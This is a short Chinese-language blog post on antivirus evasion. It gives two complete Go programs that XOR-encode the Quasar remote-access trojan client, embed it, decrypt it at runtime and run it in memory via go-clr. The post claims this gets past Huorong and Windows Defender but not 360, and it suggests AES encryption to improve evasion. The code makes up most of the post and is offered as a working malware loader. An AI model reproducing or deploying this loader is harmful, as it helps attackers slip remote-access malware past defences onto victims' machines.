使用go-clr内存执行CSharp免杀
来源:岁月联盟
时间:2022-07-04
介绍
实际测试下面可以过火绒和windows defender,使用的是[[E_工具收集/2022-04-20/go-clr 使用go执行csharp代码]]
直接把[[E_工具收集/2022-04-20/Quasar CSharp写的开源Rat]]的client进行xor,然后加载到embed里面,执行的时候进行解密即可,但是不能过360,猜测是quasar纯粹的xor编码是不行的,[[E_工具收集/2022-04-20/Quasar CSharp写的开源Rat]]最好可以aes加密之类的
然后直接调用clr的运行时进行运行,代码如下
client.go
package mainimport ( _ "embed" "fmt" "log" "os" "runtime" clr "github.com/ropnop/go-clr")//go:embed bin.exevar data []bytefunc main() { fmt.Println("[+] Executing EXE from memory") var result []byte for _, i := range data { var x = i ^ 120 result = append(result, x) } runtime.KeepAlive(result) ret2, err := clr.ExecuteByteArray("", result, nil) if err != nil { log.Fatal(err) } fmt.Printf("[+] EXE Return Code: %d/n", ret2)}
encode.go
package mainimport ( _ "embed" "io/ioutil")//go:embed bin.exevar data []bytefunc main() { var result []byte for _, i := range data { var x = i ^ 120 result = append(result, x) } ioutil.WriteFile("../bin.exe", result, 0777)}